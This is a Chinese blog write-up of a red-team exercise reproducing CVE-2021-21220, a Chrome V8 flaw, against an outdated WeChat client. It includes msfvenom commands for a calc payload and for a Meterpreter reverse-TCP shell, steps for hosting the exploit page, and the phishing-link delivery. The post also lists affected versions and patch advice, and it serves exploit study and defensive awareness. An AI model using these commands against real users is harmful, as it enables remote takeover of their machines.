写在前面
这个漏洞是我在进行一次攻防演练项目时客户方提出的一个需求,添加一个关于微信使用安全相关的场景,当时,同事所想到的是这个CVE-2021-21220这个漏洞,这个漏洞实现起来相对简单,效果明显,能够有效的警醒微信使用者对恶意链接的防范心,前文详细可以查看这篇文章——记一次攻防演练(带应急)的心路历程。
对于这个漏洞,基础的原理是V8引擎的JIT的漏洞,属于"溢出"漏洞,这种漏洞对于我个人来说已经超出能力范围,所以呢,这篇文章主要以复现为主,如果以后有时间学习到溢出漏洞的分析,这边漏洞原理我会尽力去补全。
漏洞简介
CVE-2021-21220这个漏洞是Google Chrome的一个漏洞,最初公布于2021年4月初,同时期还有仅相差两天进行公布的CVE-2021-21224,两者都是V8引擎的JIT的漏洞。
通过利用CVE-2021-21220漏洞,受害者通过未开沙箱机制的Chrome浏览器打开攻击者置入恶意代码的网页后就会执行攻击者想要执行的任意代码,而这个漏洞关乎到微信的使用安全是因为微信内置了一个Chrome用于用户快速打开链接浏览网页内容,而该浏览器使用的是低版本的Chrome内核,所以在微信中点击打开包含恶意代码的链接后,攻击者即可在受害者机器上执行任意指令,获取受害者机器的控制权。
漏洞概述
该漏洞产生的原因是Chrome的V8引擎JIT模块在 ChangeInt32ToInt64 函数的输入值一定会被看作一个 int32 的值来处理,就会进行有符号扩展,进而发生下溢,以此可以利用来修改一些东西,比如分配的数组的长度,这样就可以越界访问其他内存的数据,进而达到任意地址写的目的,攻击者还结合了一些其他手段来绕过Chrome内部的缓解措施达到任意目录执行的目的
漏洞复现
环境搭建
- 系统环境:Windows7 虚拟机
- 安装受漏洞影响版本的Chrome浏览器
- 以无沙箱模式打开Chrome浏览器:
chrome.exe --no-sandbox
有幸身边同事那里有低版本的微信,这次复现也会展示相应的效果,因为工作原因,微信资源仅用于我们内部测试资源使用,恕不会分享出来。特此声明,网络上能够下载到的低版本均与本文作者无关。
复现过程
MSF-shellcode
使用以下命令生成shellcode,CMD参数这边仅设置了打开计算器。
msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num
启动http.server
复制生成的shellcode粘贴到exp中,在网站相应位置并保存成html文件,并在保存poc.html的目录下打开命令行并执行以下指令以开启http服务。
python3 -m http.server 80
到此为止一切看起来都挺正常,但是我用浏览器去访问的时候就出现了一些问题,复现并没有成功,看了一下访问日志之后发现服务器端返回了304状态码,受害者端也并没有弹出计算器,百思不得其解。
中间因为在忙其他的事情,这个漏洞的复现就搁置了一段时间,这段时间中遇到了一个启发我这个漏洞复现为什么不成功的事情。
简单来说就是在我的靶机上在执行.exe格式的shellcode的时候报错了不支持64位程序,意思也就是x64的shellcode不能执行,所以需要换成x86的shellcode。
因为手头有带有该漏洞的微信环境,就放弃了Chrome浏览器,结果正常弹出了"计算器",这也说明我手里这个美其名曰"有漏洞版本Chrome"并不是真的有漏洞。
上线MSF
忙活了这么久终于可以开始这个环节了,从这里开始就完全抛弃Chrome浏览器的环境,改为漏洞版本微信进行复现。
MSF-shellcode
使用以下命令生成上线所使用的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> EXITFUNC=thread -f num
打开MSF监听
启动http.server
复制生成的shellcode粘贴到exp中,在网站相应位置并保存成html文件,并在保存poc.html的目录下开启http服务。
点击上线
在微信中点击相应的网页连接进行上线。
到这里整个漏洞复现过程就结束了。
关于漏洞的其他内容
影响版本
Chrome浏览器等:
x64架构 Google Chrome <= 89.0.4389.128
基于Chromium内核的 Microsoft Edge <= 89.0.774.76
其他基于V8引擎的浏览器
微信受影响版本:
微信Windows版3.1.0.41及以下版本
修复建议
-
更新Chrome浏览器到最新版本
-
更新微信客户端到最新版本
-
更新Microsoft Edge到最新版本
写在最后
这个漏洞因为是和微信有部分关系,所以更多的是选择作为攻防演练中钓鱼链接的演示场景去使用,前面也有说道我前段时间的攻防演练项目中用到了这个漏洞,所以心血来潮记录一下,但在实际的攻击过程中很少能去选择这个东西,这个就看个人的取舍。
另一方面,这是一个即时性的漏洞,意思就是在受害者访问连接的时候上线进程不会受到任何影响,一旦受害者关闭相关连接攻击者这边就会立即下线,所以,需要辅助一些持久化技术,这篇文章就不展开了,之后有机会再进行更新。
Comments | NOTHING